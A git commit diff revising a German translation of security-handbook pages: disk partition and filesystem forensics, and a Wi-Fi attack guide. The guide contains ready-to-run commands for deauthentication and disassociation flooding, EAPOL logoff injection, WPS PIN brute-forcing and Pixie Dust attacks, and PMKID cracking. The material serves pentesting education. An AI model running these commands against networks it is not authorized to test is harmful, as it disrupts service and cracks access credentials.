Translated ['src/generic-methodologies-and-resources/basic-forensic-meth

This commit is contained in:
Translator 2025-07-10 12:28:34 +00:00
parent 0fa4d53fcc
commit a21ccc96f4
14 changed files with 409 additions and 325 deletions

View File

@ -5,7 +5,7 @@
## Partitionen
Eine Festplatte oder eine **SSD kann verschiedene Partitionen enthalten**, um Daten physisch zu trennen.\
Die **minimale** Einheit einer Festplatte ist der **Sektor** (normalerweise aus 512B). Daher muss die Größe jeder Partition ein Vielfaches dieser Größe sein.
Die **minimale** Einheit einer Festplatte ist der **Sektor** (normalerweise aus 512B bestehend). Daher muss die Größe jeder Partition ein Vielfaches dieser Größe sein.
### MBR (Master Boot Record)
@ -49,7 +49,7 @@ Von den **Bytes 440 bis 443** des MBR finden Sie die **Windows-Disk-Signatur** (
Um ein MBR in Linux zu mounten, müssen Sie zuerst den Start-Offset ermitteln (Sie können `fdisk` und den `p`-Befehl verwenden)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
Und dann verwenden Sie den folgenden Code
```bash
@ -64,10 +64,10 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
### GPT (GUID-Partitionstabelle)
Die GUID-Partitionstabelle, bekannt als GPT, wird aufgrund ihrer erweiterten Funktionen im Vergleich zu MBR (Master Boot Record) bevorzugt. Auffällig ist ihr **global eindeutiger Identifikator** für Partitionen, der sich in mehreren Aspekten auszeichnet:
Die GUID-Partitionstabelle, bekannt als GPT, wird aufgrund ihrer erweiterten Funktionen im Vergleich zu MBR (Master Boot Record) bevorzugt. Auffällig ist ihr **global eindeutiger Identifikator** für Partitionen, der sich in mehreren Aspekten unterscheidet:
- **Standort und Größe**: Sowohl GPT als auch MBR beginnen bei **Sektor 0**. GPT arbeitet jedoch mit **64 Bit**, im Gegensatz zu MBRs 32 Bit.
- **Partitionsgrenzen**: GPT unterstützt bis zu **128 Partitionen** auf Windows-Systemen und kann bis zu **9,4 ZB** an Daten aufnehmen.
- **Partitionsgrenzen**: GPT unterstützt bis zu **128 Partitionen** auf Windows-Systemen und kann bis zu **9,4 ZB** an Daten speichern.
- **Partitionsnamen**: Bietet die Möglichkeit, Partitionen mit bis zu 36 Unicode-Zeichen zu benennen.
**Datenresilienz und Wiederherstellung**:
@ -87,41 +87,41 @@ Die GUID-Partitionstabelle, bekannt als GPT, wird aufgrund ihrer erweiterten Fun
In Betriebssystemen, die **GPT-basiertes Booten über BIOS**-Dienste anstelle von EFI unterstützen, kann der erste Sektor auch weiterhin verwendet werden, um die erste Stufe des **Bootloader**-Codes zu speichern, jedoch **modifiziert**, um **GPT**-**Partitionen** zu erkennen. Der Bootloader im MBR darf nicht von einer Sektorgröße von 512 Bytes ausgehen.
**Partitionstabellenkopf (LBA 1)**
**Partitionstabelle-Header (LBA 1)**
[Von Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
Der Partitionstabellenkopf definiert die verwendbaren Blöcke auf der Festplatte. Er definiert auch die Anzahl und Größe der Partitionseinträge, die die Partitionstabelle ausmachen (Offsets 80 und 84 in der Tabelle).
Der Partitionstabelle-Header definiert die verwendbaren Blöcke auf der Festplatte. Er definiert auch die Anzahl und Größe der Partitionseinträge, die die Partitionstabelle bilden (Offsets 80 und 84 in der Tabelle).
| Offset | Länge | Inhalt |
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 Bytes | Signatur ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h oder 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)auf Little-Endian-Maschinen) |
| Offset | Länge | Inhalt |
| --------- | -------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 Bytes | Signatur ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h oder 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#_note-8)auf Little-Endian-Maschinen) |
| 8 (0x08) | 4 Bytes | Revision 1.0 (00h 00h 01h 00h) für UEFI 2.8 |
| 12 (0x0C) | 4 Bytes | Kopfgröße in Little Endian (in Bytes, normalerweise 5Ch 00h 00h 00h oder 92 Bytes) |
| 16 (0x10) | 4 Bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) des Kopfes (Offset +0 bis Kopfgröße) in Little Endian, wobei dieses Feld während der Berechnung auf Null gesetzt wird |
| 20 (0x14) | 4 Bytes | Reserviert; muss Null sein |
| 24 (0x18) | 8 Bytes | Aktuelles LBA (Standort dieser Kopfkopie) |
| 32 (0x20) | 8 Bytes | Backup-LBA (Standort der anderen Kopfkopie) |
| 40 (0x28) | 8 Bytes | Erstes verwendbares LBA für Partitionen (letztes LBA der primären Partitionstabelle + 1) |
| 48 (0x30) | 8 Bytes | Letztes verwendbares LBA (erstes LBA der sekundären Partitionstabelle 1) |
| 56 (0x38) | 16 Bytes | Festplattenguid in gemischtem Endian |
| 72 (0x48) | 8 Bytes | Start-LBA eines Arrays von Partitionseinträgen (immer 2 in der primären Kopie) |
| 80 (0x50) | 4 Bytes | Anzahl der Partitionseinträge im Array |
| 84 (0x54) | 4 Bytes | Größe eines einzelnen Partitionseintrags (normalerweise 80h oder 128) |
| 88 (0x58) | 4 Bytes | CRC32 des Arrays der Partitionseinträge in Little Endian |
| 92 (0x5C) | \* | Reserviert; muss für den Rest des Blocks Nullen sein (420 Bytes für eine Sektorgröße von 512 Bytes; kann jedoch bei größeren Sektorgrößen mehr sein) |
| 12 (0x0C) | 4 Bytes | Headergröße in Little Endian (in Bytes, normalerweise 5Ch 00h 00h 00h oder 92 Bytes) |
| 16 (0x10) | 4 Bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) des Headers (Offset +0 bis Headergröße) in Little Endian, wobei dieses Feld während der Berechnung auf Null gesetzt wird |
| 20 (0x14) | 4 Bytes | Reserviert; muss Null sein |
| 24 (0x18) | 8 Bytes | Aktuelles LBA (Standort dieser Headerkopie) |
| 32 (0x20) | 8 Bytes | Backup-LBA (Standort der anderen Headerkopie) |
| 40 (0x28) | 8 Bytes | Erstes verwendbares LBA für Partitionen (letztes LBA der primären Partitionstabelle + 1) |
| 48 (0x30) | 8 Bytes | Letztes verwendbares LBA (erstes LBA der sekundären Partitionstabelle 1) |
| 56 (0x38) | 16 Bytes | Festplattenguid in gemischtem Endian |
| 72 (0x48) | 8 Bytes | Start-LBA eines Arrays von Partitionseinträgen (immer 2 in der primären Kopie) |
| 80 (0x50) | 4 Bytes | Anzahl der Partitionseinträge im Array |
| 84 (0x54) | 4 Bytes | Größe eines einzelnen Partitionseintrags (normalerweise 80h oder 128) |
| 88 (0x58) | 4 Bytes | CRC32 des Arrays der Partitionseinträge in Little Endian |
| 92 (0x5C) | \* | Reserviert; muss für den Rest des Blocks Null sein (420 Bytes für eine Sektorgröße von 512 Bytes; kann jedoch mehr sein bei größeren Sektorgrößen) |
**Partitionseinträge (LBA 233)**
| GUID-Partitionseintragsformat | | |
| ------------------------------ | -------- | ------------------------------------------------------------------------------------------------------------- |
| Offset | Länge | Inhalt |
| Offset | Länge | Inhalt |
| 0 (0x00) | 16 Bytes | [Partitionstyp-GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (gemischtes Endian) |
| 16 (0x10) | 16 Bytes | Eindeutige Partition-GUID (gemischtes Endian) |
| 32 (0x20) | 8 Bytes | Erstes LBA ([Little Endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 Bytes | Letztes LBA (einschließlich, normalerweise ungerade) |
| 48 (0x30) | 8 Bytes | Attribut-Flags (z. B. Bit 60 bezeichnet schreibgeschützt) |
| 56 (0x38) | 72 Bytes | Partitionsname (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE-Codeeinheiten) |
| 16 (0x10) | 16 Bytes | Eindeutige Partition-GUID (gemischtes Endian) |
| 32 (0x20) | 8 Bytes | Erstes LBA ([Little Endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 Bytes | Letztes LBA (einschließlich, normalerweise ungerade) |
| 48 (0x30) | 8 Bytes | Attribut-Flags (z. B. Bit 60 bezeichnet schreibgeschützt) |
| 56 (0x38) | 72 Bytes | Partitionsname (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE-Codeeinheiten) |
**Partitionstypen**
@ -139,7 +139,7 @@ Wenn es sich um eine **GPT-Tabelle anstelle eines MBR** handelte, sollte die Sig
## Dateisysteme
### Liste der Windows-Dateisysteme
### Windows-Dateisystemliste
- **FAT12/16**: MSDOS, WIN95/98/NT/200
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
@ -154,10 +154,10 @@ Das **FAT (File Allocation Table)**-Dateisystem ist um seine Kernkomponente, die
Die grundlegende Speichereinheit des Dateisystems ist ein **Cluster, normalerweise 512B**, der aus mehreren Sektoren besteht. FAT hat sich durch verschiedene Versionen weiterentwickelt:
- **FAT12**, unterstützt 12-Bit-Clusteradressen und verarbeitet bis zu 4078 Cluster (4084 mit UNIX).
- **FAT16**, verbessert auf 16-Bit-Adressen, wodurch bis zu 65.517 Cluster unterstützt werden.
- **FAT32**, weiter fortgeschritten mit 32-Bit-Adressen, was beeindruckende 268.435.456 Cluster pro Volume ermöglicht.
- **FAT16**, verbessert auf 16-Bit-Adressen, wodurch bis zu 65.517 Cluster untergebracht werden können.
- **FAT32**, weiter fortschreitend mit 32-Bit-Adressen, die beeindruckende 268.435.456 Cluster pro Volume ermöglichen.
Eine wesentliche Einschränkung bei allen FAT-Versionen ist die **maximale Dateigröße von 4 GB**, die durch das 32-Bit-Feld für die Dateigrößenspeicherung auferlegt wird.
Eine wesentliche Einschränkung über alle FAT-Versionen hinweg ist die **maximale Dateigröße von 4 GB**, die durch das 32-Bit-Feld für die Speicherung der Dateigröße auferlegt wird.
Wichtige Komponenten des Stammverzeichnisses, insbesondere für FAT12 und FAT16, umfassen:
@ -179,7 +179,7 @@ Einige Dateien enthalten Metadaten. Diese Informationen beziehen sich auf den In
- Verwendete MS Office-Version
- Autor
- Erstellungs- und Änderungsdaten
- Kameramodell
- Modell der Kamera
- GPS-Koordinaten
- Bildinformationen
@ -189,7 +189,7 @@ Sie können Tools wie [**exiftool**](https://exiftool.org) und [**Metadiver**](h
### Protokollierte gelöschte Dateien
Wie bereits erwähnt, gibt es mehrere Stellen, an denen die Datei nach ihrer "Löschung" weiterhin gespeichert ist. Dies liegt daran, dass die Löschung einer Datei aus einem Dateisystem in der Regel nur als gelöscht markiert, die Daten jedoch nicht berührt werden. Daher ist es möglich, die Register der Dateien (wie die MFT) zu inspizieren und die gelöschten Dateien zu finden.
Wie bereits gesehen, gibt es mehrere Stellen, an denen die Datei nach ihrer "Löschung" weiterhin gespeichert ist. Dies liegt daran, dass die Löschung einer Datei aus einem Dateisystem normalerweise nur als gelöscht markiert wird, die Daten jedoch nicht berührt werden. Daher ist es möglich, die Register der Dateien (wie die MFT) zu inspizieren und die gelöschten Dateien zu finden.
Außerdem speichert das Betriebssystem normalerweise viele Informationen über Änderungen am Dateisystem und Backups, sodass es möglich ist, zu versuchen, diese zu verwenden, um die Datei oder so viele Informationen wie möglich wiederherzustellen.
@ -197,22 +197,22 @@ Außerdem speichert das Betriebssystem normalerweise viele Informationen über
file-data-carving-recovery-tools.md
{{#endref}}
### **Dateicarving**
### **File Carving**
**Dateicarving** ist eine Technik, die versucht, **Dateien im Datenbulk zu finden**. Es gibt 3 Hauptmethoden, wie solche Tools funktionieren: **Basierend auf Dateitypen-Headern und -Fußzeilen**, basierend auf Dateitypen-**Strukturen** und basierend auf dem **Inhalt** selbst.
**File Carving** ist eine Technik, die versucht, **Dateien im Datenbulk zu finden**. Es gibt 3 Hauptmethoden, wie solche Tools funktionieren: **Basierend auf Dateitypen-Headern und -Fußzeilen**, basierend auf Dateitypen-**Strukturen** und basierend auf dem **Inhalt** selbst.
Beachten Sie, dass diese Technik **nicht funktioniert, um fragmentierte Dateien wiederherzustellen**. Wenn eine Datei **nicht in zusammenhängenden Sektoren gespeichert ist**, kann diese Technik sie nicht finden oder zumindest nicht einen Teil davon.
Beachten Sie, dass diese Technik **nicht funktioniert, um fragmentierte Dateien wiederherzustellen**. Wenn eine Datei **nicht in zusammenhängenden Sektoren gespeichert ist**, kann diese Technik sie oder zumindest einen Teil davon nicht finden.
Es gibt mehrere Tools, die Sie für das Dateicarving verwenden können, indem Sie die Dateitypen angeben, nach denen Sie suchen möchten.
Es gibt mehrere Tools, die Sie für File Carving verwenden können, um die Dateitypen anzugeben, nach denen Sie suchen möchten.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Datenstrom-C**arving**
### Datenstrom **C**arving
Datenstrom-Carving ist ähnlich wie Dateicarving, aber **anstatt nach vollständigen Dateien zu suchen, sucht es nach interessanten Fragmenten** von Informationen.\
Zum Beispiel, anstatt nach einer vollständigen Datei mit protokollierten URLs zu suchen, wird diese Technik nach URLs suchen.
Datenstrom-Carving ähnelt dem File Carving, sucht jedoch **anstatt nach vollständigen Dateien nach interessanten Fragmenten** von Informationen.\
Zum Beispiel sucht diese Technik anstelle einer vollständigen Datei, die protokollierte URLs enthält, nach URLs.
{{#ref}}
file-data-carving-recovery-tools.md
@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md
### Sichere Löschung
Offensichtlich gibt es Möglichkeiten, **Dateien und Teile von Protokollen über sie "sicher" zu löschen**. Zum Beispiel ist es möglich, den **Inhalt** einer Datei mehrmals mit Junk-Daten zu **überschreiben** und dann die **Protokolle** aus der **$MFT** und **$LOGFILE** über die Datei zu **entfernen** und die **Volume Shadow Copies** zu **entfernen**.\
Sie werden feststellen, dass selbst bei dieser Aktion möglicherweise **andere Teile, in denen die Existenz der Datei weiterhin protokolliert ist**, vorhanden sind, und das ist wahr, und ein Teil der Arbeit eines forensischen Fachmanns besteht darin, sie zu finden.
Offensichtlich gibt es Möglichkeiten, Dateien und Teile von Protokollen über sie **"sicher" zu löschen**. Zum Beispiel ist es möglich, den Inhalt einer Datei mehrmals mit Junk-Daten zu **überschreiben** und dann die **Protokolle** aus der **$MFT** und **$LOGFILE** über die Datei zu **entfernen** und die **Volume Shadow Copies** zu **entfernen**.\
Sie werden feststellen, dass selbst bei dieser Aktion möglicherweise **andere Teile, in denen die Existenz der Datei weiterhin protokolliert ist**, vorhanden sind, und das ist wahr, und Teil der Arbeit eines forensischen Fachmanns besteht darin, sie zu finden.
## Referenzen
@ -229,6 +229,6 @@ Sie werden feststellen, dass selbst bei dieser Aktion möglicherweise **andere T
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
- **iHackLabs Certified Digital Forensics Windows**
- **iHackLabs Zertifizierte Digitale Forensik Windows**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -61,14 +61,14 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
- Wenn WPA-PSK
- Wenn WPS: Pixie Dust-Angriff und den Brute-Force-Angriff (seien Sie vorsichtig, der Brute-Force-Angriff kann lange dauern). Beachten Sie, dass es keinen Null-PIN oder Datenbank/erzeugte PINs versucht.
- Versuchen, die PMKID vom AP zu erfassen, um sie zu knacken
- Versuchen, Clients des APs zu deauthentifizieren, um einen Handshake zu erfassen
- Versuchen, Clients des AP zu deauthentifizieren, um einen Handshake zu erfassen
- Wenn PMKID oder Handshake, versuchen, mit den Top5000 Passwörtern zu bruteforcen.
## Angriffsübersicht
- **DoS**
- Deauthentication/Disassociation -- Alle (oder ein bestimmtes ESSID/Client) trennen
- Zufällige gefälschte APs -- Netzwerke verstecken, mögliche Scanner zum Absturz bringen
- Deauthentifizierung/Dissoziation -- Alle (oder ein bestimmtes ESSID/Client) trennen
- Zufällige gefälschte APs -- Netze verstecken, mögliche Scanner zum Absturz bringen
- AP überlasten -- Versuchen, den AP abzutöten (normalerweise nicht sehr nützlich)
- WIDS -- Mit dem IDS spielen
- TKIP, EAPOL -- Einige spezifische Angriffe, um einige APs zu DoS
@ -79,25 +79,25 @@ Dieses Tool automatisiert **WPS/WEP/WPA-PSK** Angriffe. Es wird automatisch:
- **WPA PMKID** Brute-Force
- \[DoS +] **WPA Handshake** erfassen + Knacken
- **WPA-MGT**
- **Benutzernamen erfassen**
- **Benutzername erfassen**
- **Bruteforce** Anmeldeinformationen
- **Evil Twin** (mit oder ohne DoS)
- **Offenes** Evil Twin \[+ DoS] -- Nützlich, um Anmeldeinformationen für das Captive Portal zu erfassen und/oder LAN-Angriffe durchzuführen
- **WPA-PSK** Evil Twin -- Nützlich für Netzwerkangriffe, wenn Sie das Passwort kennen
- **WPA-MGT** -- Nützlich, um Unternehmensanmeldeinformationen zu erfassen
- **KARMA, MANA**, **Loud MANA**, **Bekannter Beacon**
- **KARMA, MANA**, **Loud MANA**, **Bekannte Beacon**
- **+ Offen** -- Nützlich, um Anmeldeinformationen für das Captive Portal zu erfassen und/oder LAN-Angriffe durchzuführen
- **+ WPA** -- Nützlich, um WPA-Handshakes zu erfassen
- **+ WPA** -- Nützlich, um WPA Handshakes zu erfassen
## DOS
### Deauthentication-Pakete
### Deauthentifizierungs-Pakete
**Beschreibung von** [**hier**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**Deauthentication**-Angriffe, eine verbreitete Methode im Wi-Fi-Hacking, beinhalten das Fälschen von "Management"-Frames, um **Geräte gewaltsam von einem Netzwerk zu trennen**. Diese unverschlüsselten Pakete täuschen die Clients vor, sie stammen vom legitimen Netzwerk, was Angreifern ermöglicht, WPA-Handshakes zu sammeln, um sie zu knacken, oder um Netzwerkverbindungen dauerhaft zu stören. Diese Taktik, die in ihrer Einfachheit alarmierend ist, wird weit verbreitet eingesetzt und hat erhebliche Auswirkungen auf die Netzwerksicherheit.
**Deauthentifizierungs**-Angriffe, eine verbreitete Methode im Wi-Fi-Hacking, beinhalten das Fälschen von "Management"-Frames, um **Geräte gewaltsam von einem Netzwerk zu trennen**. Diese unverschlüsselten Pakete täuschen Clients vor, dass sie vom legitimen Netzwerk stammen, was Angreifern ermöglicht, WPA Handshakes zu sammeln, um sie zu knacken, oder um Netzwerkverbindungen dauerhaft zu stören. Diese Taktik, die in ihrer Einfachheit alarmierend ist, wird weit verbreitet eingesetzt und hat erhebliche Auswirkungen auf die Netzwerksicherheit.
**Deauthentication mit Aireplay-ng**
**Deauthentifizierung mit Aireplay-ng**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
@ -109,7 +109,7 @@ aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
### Disassoziationspakete
**Disassoziationspakete**, ähnlich wie Deauthentifizierungspakete, sind eine Art von Management-Frame, die in Wi-Fi-Netzwerken verwendet werden. Diese Pakete dienen dazu, die Verbindung zwischen einem Gerät (wie einem Laptop oder Smartphone) und einem Access Point (AP) zu trennen. Der Hauptunterschied zwischen Disassoziation und Deauthentifizierung liegt in ihren Nutzungsszenarien. Während ein AP **Deauthentifizierungspakete sendet, um bösartige Geräte ausdrücklich aus dem Netzwerk zu entfernen, werden Disassoziationspakete typischerweise gesendet, wenn der AP heruntergefahren wird**, neu gestartet wird oder sich bewegt, wodurch die Trennung aller verbundenen Knoten erforderlich wird.
**Disassoziationspakete**, ähnlich wie Deauthentifizierungspakete, sind eine Art von Management-Frame, die in Wi-Fi-Netzwerken verwendet werden. Diese Pakete dienen dazu, die Verbindung zwischen einem Gerät (wie einem Laptop oder Smartphone) und einem Access Point (AP) zu trennen. Der Hauptunterschied zwischen Disassoziation und Deauthentifizierung liegt in ihren Nutzungsszenarien. Während ein AP **Deauthentifizierungspakete sendet, um unerwünschte Geräte ausdrücklich aus dem Netzwerk zu entfernen, werden Disassoziationspakete typischerweise gesendet, wenn der AP heruntergefahren wird**, neu gestartet oder sich bewegt, wodurch die Trennung aller verbundenen Knoten erforderlich wird.
**Dieser Angriff kann mit mdk4 (Modus "d") durchgeführt werden:**
```bash
@ -158,7 +158,7 @@ mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**ANGRIFFSMODUS e: EAPOL Start- und Logoff-Paket-Injektion**
Das Überfluten eines AP mit **EAPOL Start-Frames** erzeugt **falsche Sitzungen**, überlastet den AP und blockiert legitime Clients. Alternativ führt das Injizieren von **falschen EAPOL Logoff-Nachrichten** zu einer erzwungenen Trennung der Clients; beide Methoden stören effektiv den Netzwerkdienst.
Das Überfluten eines AP mit **EAPOL Start-Frames** erzeugt **falsche Sitzungen**, überlastet den AP und blockiert legitime Clients. Alternativ führt das Injizieren von **falschen EAPOL Logoff-Nachrichten** zu einer erzwungenen Trennung der Clients, wobei beide Methoden den Netzwerkdienst effektiv stören.
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
@ -169,7 +169,7 @@ Verschiedene Angriffe auf das Link-Management und das Routing in Mesh-Netzwerken
**ANGRIFFSMODUS w: WIDS Verwirrung**
Das Querverbinden von Clients mit mehreren WDS-Knoten oder gefälschten Rogue-APs kann Intrusion Detection und Prevention Systeme manipulieren, was zu Verwirrung und potenziellem Missbrauch des Systems führt.
Das Querverbinden von Clients mit mehreren WDS-Knoten oder gefälschten rogue APs kann Intrusion Detection und Prevention Systeme manipulieren, was zu Verwirrung und potenziellem Missbrauch des Systems führt.
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
@ -186,13 +186,13 @@ _**Airgeddon**_ bietet die meisten der in den vorherigen Kommentaren vorgeschlag
## WPS
WPS (Wi-Fi Protected Setup) vereinfacht den Prozess der Verbindung von Geräten mit einem Router und verbessert die Einrichtungsgeschwindigkeit und -einfachheit für Netzwerke, die mit **WPA** oder **WPA2** Personal verschlüsselt sind. Es ist ineffektiv für die leicht angreifbare WEP-Sicherheit. WPS verwendet eine 8-stellige PIN, die in zwei Hälften validiert wird, was es anfällig für Brute-Force-Angriffe macht, aufgrund der begrenzten Anzahl von Kombinationen (11.000 Möglichkeiten).
WPS (Wi-Fi Protected Setup) vereinfacht den Prozess der Verbindung von Geräten mit einem Router und verbessert die Einrichtungszeit und -einfachheit für Netzwerke, die mit **WPA** oder **WPA2** Personal verschlüsselt sind. Es ist ineffektiv für die leicht angreifbare WEP-Sicherheit. WPS verwendet eine 8-stellige PIN, die in zwei Hälften validiert wird, was es anfällig für Brute-Force-Angriffe macht, aufgrund der begrenzten Anzahl von Kombinationen (11.000 Möglichkeiten).
### WPS Bruteforce
Es gibt 2 Hauptwerkzeuge, um diese Aktion durchzuführen: Reaver und Bully.
- **Reaver** wurde entwickelt, um einen robusten und praktischen Angriff gegen WPS zu ermöglichen und wurde gegen eine Vielzahl von Zugangspunkten und WPS-Implementierungen getestet.
- **Reaver** wurde entwickelt, um einen robusten und praktischen Angriff gegen WPS durchzuführen und wurde gegen eine Vielzahl von Zugangspunkten und WPS-Implementierungen getestet.
- **Bully** ist eine **neue Implementierung** des WPS-Brute-Force-Angriffs, geschrieben in C. Es hat mehrere Vorteile gegenüber dem ursprünglichen Reaver-Code: weniger Abhängigkeiten, verbesserte Speicher- und CPU-Leistung, korrekte Handhabung der Endianness und ein robusteres Set von Optionen.
Der Angriff nutzt die **Anfälligkeit der WPS-PIN**, insbesondere die Offenlegung der ersten vier Ziffern und die Rolle der letzten Ziffer als Prüfziffer, was den Brute-Force-Angriff erleichtert. Allerdings erfordern Abwehrmaßnahmen gegen Brute-Force-Angriffe, wie das **Blockieren von MAC-Adressen** aggressiver Angreifer, eine **MAC-Adressrotation**, um den Angriff fortzusetzen.
@ -206,19 +206,19 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Dieser verfeinerte Ansatz zielt auf WPS-PINs ab, die bekannte Schwachstellen nutzen:
1. **Vorentdeckte PINs**: Nutzen Sie eine Datenbank mit bekannten PINs, die mit bestimmten Herstellern verknüpft sind, die dafür bekannt sind, einheitliche WPS-PINs zu verwenden. Diese Datenbank korreliert die ersten drei Oktette der MAC-Adressen mit wahrscheinlichen PINs für diese Hersteller.
1. **Vorentdeckte PINs**: Nutzen Sie eine Datenbank mit bekannten PINs, die mit bestimmten Herstellern verknüpft sind, die einheitliche WPS-PINs verwenden. Diese Datenbank korreliert die ersten drei Oktette der MAC-Adressen mit wahrscheinlichen PINs für diese Hersteller.
2. **PIN-Generierungsalgorithmen**: Nutzen Sie Algorithmen wie ComputePIN und EasyBox, die WPS-PINs basierend auf der MAC-Adresse des APs berechnen. Der Arcadyan-Algorithmus erfordert zusätzlich eine Geräte-ID, was eine zusätzliche Schicht im PIN-Generierungsprozess hinzufügt.
### WPS Pixie Dust Angriff
### WPS Pixie Dust attack
**Dominique Bongard** entdeckte einen Fehler in einigen Access Points (APs) bezüglich der Erstellung von geheimen Codes, bekannt als **Nonces** (**E-S1** und **E-S2**). Wenn diese Nonces herausgefunden werden können, wird das Knacken der WPS-PIN des APs einfach. Der AP gibt die PIN innerhalb eines speziellen Codes (Hash) preis, um zu beweisen, dass sie legitim und kein gefälschter (rogue) AP ist. Diese Nonces sind im Wesentlichen die "Schlüssel", um den "Safe" zu öffnen, der die WPS-PIN enthält. Mehr dazu finden Sie [hier](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
**Dominique Bongard** entdeckte einen Fehler in einigen Access Points (APs) bezüglich der Erstellung von geheimen Codes, bekannt als **nonces** (**E-S1** und **E-S2**). Wenn diese nonces herausgefunden werden können, wird das Knacken des WPS-PINs des APs einfach. Der AP gibt den PIN innerhalb eines speziellen Codes (Hash) preis, um zu beweisen, dass er legitim und kein gefälschter (rogue) AP ist. Diese nonces sind im Wesentlichen die "Schlüssel", um den "Safe" zu öffnen, der den WPS-PIN enthält. Mehr dazu finden Sie [hier](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>).
Einfach ausgedrückt, das Problem ist, dass einige APs nicht ausreichend zufällige Schlüssel zur Verschlüsselung der PIN während des Verbindungsprozesses verwendet haben. Dies macht die PIN anfällig dafür, von außerhalb des Netzwerks erraten zu werden (offline Brute-Force-Angriff).
Einfach ausgedrückt, besteht das Problem darin, dass einige APs nicht ausreichend zufällige Schlüssel zur Verschlüsselung des PINs während des Verbindungsprozesses verwendet haben. Dies macht den PIN anfällig dafür, von außerhalb des Netzwerks (Offline-Brute-Force-Angriff) erraten zu werden.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
Wenn Sie das Gerät nicht in den Überwachungsmodus versetzen möchten oder `reaver` und `bully` Probleme haben, können Sie [OneShot-C](https://github.com/nikita-yfh/OneShot-C) ausprobieren. Dieses Tool kann den Pixie Dust-Angriff durchführen, ohne in den Überwachungsmodus wechseln zu müssen.
Wenn Sie das Gerät nicht in den Überwachungsmodus versetzen möchten oder `reaver` und `bully` ein Problem haben, können Sie [OneShot-C](https://github.com/nikita-yfh/OneShot-C) ausprobieren. Dieses Tool kann den Pixie Dust-Angriff durchführen, ohne in den Überwachungsmodus wechseln zu müssen.
```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
```
@ -237,7 +237,7 @@ Alle vorgeschlagenen WPS-Angriffe können einfach mit _**airgeddon.**_ durchgef
- 5 und 6 ermöglichen es Ihnen, **Ihren benutzerdefinierten PIN** auszuprobieren (wenn Sie einen haben)
- 7 und 8 führen den **Pixie Dust Angriff** durch
- 13 ermöglicht es Ihnen, den **NULL PIN** zu testen
- 11 und 12 werden **die PINs, die mit dem ausgewählten AP verbunden sind, aus verfügbaren Datenbanken sammeln** und **mögliche PINs generieren** mit: ComputePIN, EasyBox und optional Arcadyan (empfohlen, warum nicht?)
- 11 und 12 werden **die mit dem ausgewählten AP verbundenen PINs aus verfügbaren Datenbanken sammeln** und **mögliche PINs generieren** mit: ComputePIN, EasyBox und optional Arcadyan (empfohlen, warum nicht?)
- 9 und 10 testen **jeden möglichen PIN**
## **WEP**
@ -262,7 +262,7 @@ Wie der ursprüngliche Beitrag erklärt, wird das **PMKID** mit bekannten Daten
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
Angesichts der Tatsache, dass der "PMK-Name" konstant ist, kennen wir die BSSID des AP und der Station, und das `PMK` identisch mit dem aus einem vollständigen 4-Wege-Handshake ist, kann **hashcat** diese Informationen nutzen, um den PSK zu knacken und das Passwort wiederherzustellen!
